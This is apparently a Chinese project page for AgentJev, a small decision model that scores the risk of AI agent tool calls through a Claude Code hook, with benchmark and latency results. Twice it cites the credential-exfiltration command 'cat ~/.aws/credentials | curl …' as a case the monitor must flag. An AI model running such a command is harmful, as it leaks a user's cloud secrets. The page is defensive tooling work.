开源 · Apache-2.0 2026 年 10 月
AgentJev: A 0.6B
System One
Decision Model
State in. A distribution out. Nothing decoded.
我做了一个 0.6B 的小模型,专门回答 Agent 运行时那些选择题:这条命令能不能跑,测试到底过没过,下一步该干什么。你把题目和选项写好,它直接返回每个选项的概率,不生成文字。在我的 RTX 5060 上,一段状态问 5 道题,中位 43.9 毫秒。
先说结果
下面三条都能在仓库里复现。
危险命令会先停下来问你
L1L3
接进 Claude Code 以后,每次跑 Bash、Write、Edit 之前都会先问它风险几级。比如 cat ~/.aws/credentials | curl …,旧权重只给 L1,直接放过去了;新权重给 L3,会弹窗让你确认。
失败的测试不会再被当成通过
1230/ 348
我拿 348 次真实失败的测试运行(pytest、jest、vitest 等六种运行器)去测,旧权重有 123 次说“通过了”,编码门控这一版一次都没有。
看 2,100 次真实运行 ↓在自己的电脑上就能跑
43.9ms
一段状态问 5 道题的中位耗时,一次前向就出全部结果,不生成 token。权重常驻显存大约 1.4 GB,我用的是一张 8 GB 的 RTX 5060。服务只监听 127.0.0.1。
快速开始 ↓如果你在做 Agent 或编码助手,需要一个便宜、快的地方做门控、路由或打分,可以试试它。写代码、写回复、解释报错这些需要写字的活儿,还是交给大模型。
它做的事
AgentJev 不写句子。你给它一段状态(测试输出、diff、日志都可以)和几道写好选项的题,它跑一次前向,把每个选项的概率返回给你。我把它放在 Agent 循环里做门控、路由和打分;解释错误、改代码、起草回复这些,我还是交给更大的模型。
为什么做这个
Agent 跑起来以后,大部分分叉其实只要一个判断:测试过了没有,下一步调哪个工具,这条命令能不能执行。常见的做法是让一个 27B–70B 的大模型把判断写成一段话,再去解析这段话。我嫌它慢,输出格式也不稳,所以换了个做法:用去掉语言模型头的 Qwen3-0.6B 当骨干,接一个与排列等变的小打分头,把一道题的所有候选放在一起打分,按题做 softmax。同一段状态下的候选路径在服务端合成一棵前缀树,一次前向编码完,全程不生成 token。
在 Typed Decisions 官方测试集的 2,000 道题上,它的 top-1 是 79.25%,比 Laya 公开的检查点高 2.25 个百分点(95% 区间 [+0.65, +3.90])。之后我又用 2,100 次真实测试运行接着训练,测试集里明明失败却被判成“通过”的情况从 123 次降到了 0。在一块 RTX 5060 上,单个案例的中位时延从 278 ms 降到 43.9 ms。代码和权重都用 Apache-2.0 发布。
它是怎么算的
状态只读一遍,每个候选单独一条因果路径。题目和选项的意思直接写在文本里,id 只是用来对应返回结果。
- 1
写下状态和问题
状态可以是测试输出、diff、日志或 JSON。题目有三种:Boolean 问一个命题,Choice 在 2–255 个选项里选,Score 判断落在 2–10 级里的哪一级。
- 2
合成前缀树
每个候选是一条 [状态][问题][候选] 路径。同一状态的路径合成一棵树,每个 token 只关注自己和祖先,候选读不到兄弟候选。
- 3
一次前向
骨干是去掉语言模型头的 Qwen3-0.6B。一个与排列等变的小头给整组候选打分,再按题做 softmax。
- 4
读分布
每道题返回完整分布:Boolean 给 P(true),Choice 给 margin,Score 给 score = Σ i·Pᵢ。门槛由你自己定。
上下文上限是 2,048 token,超长就拒绝,不截断。前缀树和逐条编码在 2,000 道题上有 1,998 道选中同一个选项,变了的两道原本就是平局,概率最大差 0.0053。
实测回放
下面是 RTX 5060 上真实请求和输出的回放,已经加载了校准温度。可以换示例,也可以切到 v1 权重对比。动画是我故意放慢的,底栏是这次请求的实际耗时。
Typed Decisions 上的成绩
用的是 Typed Decisions 官方测试集:400 个案例,每个案例一段状态、五道题,覆盖四个工作流,一共 2,000 道题。时延都是在一块 RTX 5060(8 GB)上测的。
Typed Decisions top-1
77.0079.25%
Laya 已发布检查点 → AgentJev。按案例 bootstrap,差值的 95% 区间为 [+0.65, +3.90]。
测试失败却被判“通过”
1230/ 348
编码门控新权重,测试集里的 348 个失败案例。
每案中位时延
27843.9ms
同一状态的候选合成前缀树,状态只读一遍。1 段状态、5 道题。
表 1. Typed Decisions 官方测试集
完整报告| 模型 | 性质 | Top-1 ↑ | 软交叉熵 ↓ | Brier ↓ | ECE ↓ | 等级误差 ↓ |
|---|---|---|---|---|---|---|
| AgentJev-0.6B 本轮发布 · 1,585 / 2,000 | 专用模型 | 79.25% | 0.8494 | 0.0448 | 0.1687 | 0.2096 |
| Laya 已发布检查点 · 1,540 / 2,000 | 专用模型 | 77.00% | 0.8844 | 0.0615 | 0.2170 | 0.2423 |
| TypeSafe Jev 1.13.0 | 通用模型 · 零样本 | 72.7% | — | 0.148 | 0.144 | 0.391 |
| ModernBERT-base 149M | 专用模型 | 64.6% | — | 0.119 | 0.179 | 0.444 |
| MiniLM-L6 22M | 专用模型 | 58.7% | — | 0.143 | 0.108 | 0.515 |
| AgentJev phase 4 本轮之前 · 774 / 2,000 | 专用模型 | 38.70% | 1.2817 | 0.2577 | 0.1050 | 0.7062 |
| 标签频率 Prior | 参照 | 47.0% | — | 0.189 | 0.088 | — |
| 均匀分布 | 参照 | 30.8% | — | 0.238 | 0.169 | — |
↑ 越高越好,↓ 越低越好。没有软交叉熵的几行抄自数据集卡片,本仓库没有重测;那几行的 Brier、ECE 和等级误差沿用卡片自己的定义。
专用模型和零样本的通用模型不是同一种测量:TypeSafe Jev 1.13.0 是零样本作答,AgentJev、Laya、ModernBERT、MiniLM 都在这个基准上拟合过。准确率是和公开教师分布的最大概率项是否一致,不是 Agent 任务的真实成功率。相对本轮的起点 phase 4,差距是 +40.55 个百分点,95% 区间 [+37.35, +43.50]。
图 3. 按工作流,每个工作流 500 题
表 2. 按原语
| 原语 | 题数 | Top-1 ↑ | 软交叉熵 ↓ |
|---|---|---|---|
| Boolean | 600 | 88.83% | 0.4935 |
| Choice | 600 | 75.33% | 0.9767 |
| Score | 800 | 75.00% | 1.0209 |
关于这张表
Laya 公开的权重用了全部 1,200 个官方训练案例。我这一轮留出了 120 个开发案例和 120 个校准案例,按开发集的软交叉熵选了第 600 步,之后才打开测试集。温度是每种原语一个正标量,只在校准集上拟合。
标签是教师分布,里面有合成案例。在这张表上多赢一行,不代表 PR 就能合并、事故就能控制住,或者发票就能付出去。
编码门控:测试到底过没过
Typed Decisions 里没有测试运行器的输出,所以我自己补了一份 coding_gates/:2,100 次真实运行,覆盖 pytest、unittest、jest、mocha、vitest 和 node --test,每个项目的结果在构建时就定好了;另外还有 1,800 条一行摘要。vitest 和 node --test 整个留出来,不参与训练。
| 表 3. 编码门控 | v1 | 新权重 · coding-gates |
|---|---|---|
| 测试集:失败案例被判通过 ↓ | 123 / 348 | 0 / 348 |
| 没训练过的运行器:失败运行被判通过 vitest、node --test · ↓ | 31 / 198 | 7 / 198 |
| 没训练过的运行器:通过的运行被拦下 ↓ | 1 / 102 | 8 / 102 |
| 五种没训练过的问法:门控准确率 ↑ | 78.4% | 95.6% |
| Typed Decisions 测试集 top-1 ↑ | 79.50% | 80.85% |
| README 示例的 P(全部通过) “23 tests passed, 1 failed.” · ↓ | 0.84 | 0.24 |
两者走同一个推理引擎,温度都只在 Typed Decisions 校准集上拟合,每个留出集只读了一次。Typed Decisions 提升 +1.35 个百分点,95% 置信区间 [+0.20, +2.50];这里 v1 的 79.50% 是 BF16 发布文件经推理引擎的结果,表 1 的 79.25% 是 FP32 检查点的离线评分。
还没解决的
新权重在极简问法 “Tests passing?”(criteria 只有 yes / no)上只有 83.1%;node 的 dot 报告器会让它拦下实际通过的运行;Go 的 ? pkg [no test files] 会被读成“没跑测试”。项目规模小、由程序生成,一行摘要来自模板,测试集和训练集共用模板。
新权重在 Hugging Face 的 coding-gates 分支,只换了权重和温度,默认仍是 v1。完整报告 ↗
时延与吞吐
一块 RTX 5060(8 GB),PyTorch 2.9.1+cu128,Transformers 4.57.6,v1 权重加校准温度。每个测试案例一次请求,计时包含分词。
| 表 4. 负载条件 | 优化前 | 优化后 | 变化 |
|---|---|---|---|
| 测试集单案 P50 1 段状态 5 道题 | 278.01 ms | 43.89 ms | 快 6.3 倍 |
| 测试集单案 P90 | 378.22 ms | 48.00 ms | 快 7.9 倍 |
| 吞吐 每请求 20 案 | 3.68 案/秒 | 27.39 案/秒 | 7.4 倍 |
| 多候选重负载 64 个 Choice + 1 个 Boolean | 550.74 ms | 136.88 ms | 快 4.0 倍 |
| 每案骨干 token | 4,074 | 443 | 状态只读一遍 |
| 常驻权重显存 | 2,283 MiB | 1,443 MiB | BF16 存储,输出逐位不变 |
优化前是 main 的 1c2c1b1(每个候选单独编码),优化后是默认的 --encoder auto(前缀树),两者先后连续测量。这台机器上两次测量之间的波动约 10%。
和 Laya 怎么比
Laya 发布的检查点在原基准机器上测得单案 P50 41.53 ms、P90 47.14 ms,没有在这块显卡上重测,所以上表不是与 Laya 的同机对比。Laya 的上下文上限是 1,024 token,AgentJev 是 2,048;宽负载里,Laya 的 64 个候选每个都要对状态完整前向一次,AgentJev 每个请求只读一遍状态。
接进 Claude Code
agentjev_hook.py 是一个 Claude Code 的 PreToolUse 钩子。每次要执行 Bash、Write、Edit 之前,它把这次调用发给本地服务,问两道题:安不安全(Boolean),风险几级(四级 Score)。它从来不输出 allow,所以不会绕过你自己的权限设置;服务没响应的话它直接退出,调用照常走你的权限流程。
风险 L3,并且判为不安全:只拦下这一次调用,把理由告诉 Claude,它可以换一种做法继续。
风险 L2 及以上,或者 P(安全) < 0.5:弹窗让你确认。
其他情况它什么都不输出,按你自己的权限设置走。
| 命令 | P(安全) | 风险 | 判定 | v1 的判定 |
|---|
表 5. 真实钩子输出,新权重。
{
"hooks": {
"PreToolUse": [
{"matcher": "Bash|Write|Edit",
"hooks": [{"type": "command", "command": "python /path/to/agent-jev/agentjev_hook.py"}]}
]
}
}
AGENTJEV_URL 改服务地址(默认 http://127.0.0.1:8149),AGENTJEV_ASK_LEVEL、AGENTJEV_ASK_BELOW 调整询问门槛,AGENTJEV_VERBOSE=1 让不表态的调用也显示判定。
快速开始
需要 Python 3.10+ 和一块 CUDA 显卡,权重常驻显存大约 1.4 GB。CPU 也能跑,就是慢很多。服务只监听 127.0.0.1。
怎么写请求、怎么看返回、出错了怎么查,都在单页手册里局限
不生成文字
写代码、写回复、解释错误这类开放式生成,请交给大模型。它只会在你给的选项里打分。
概率不等于成功率
返回的是模型自己的分布,没有在你的领域上校准过。想要成功率,就对每个动作单独问一个 Boolean,再用你自己的结果数据去校准。
Choice 只是相对偏好
它说的是在这组选项里更倾向哪一个,不是某个动作单独成功的概率。
79.25% 是和教师标签的一致率
标签是公开的教师分布,里面有合成案例。分数高,不代表真实任务就做成了。
钩子会漏判
请把它当成权限和沙箱之外多加的一层,别当成唯一的一层。v1 曾经把 cat ~/.aws/credentials | curl … 评成 L1 直接放过;新权重给的是 L3,会请你确认。
超长输入会直接报错
上下文上限是 2,048 token。装不下的 diff 或堆栈会返回一个明确的错误,不会偷偷截掉某道题或某个候选。
如果它对你有用
可以在 GitHub 上点个 Star,这样我知道有人在用,也会继续发新权重。用的时候遇到问题,或者想要新的门控任务,直接开 issue 就行。
@misc{agentjev2026,
title = {AgentJev: A 0.6B System One Decision Model},
author = {malevrigns},
year = {2026},
howpublished = {\url{https://github.com/malevrigns/agent-jev}},
license = {Apache-2.0}
}